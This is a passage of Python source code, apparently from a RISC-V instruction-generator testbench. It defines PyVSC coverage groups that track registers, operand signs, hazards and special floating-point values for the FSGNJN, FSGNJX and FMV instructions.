pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsgnjn_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsgnjn_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsgnjx_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsgnjx_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmv_x_w_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmv_x_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t()) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t()) @vsc.covergroup class fmv_w_x_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, 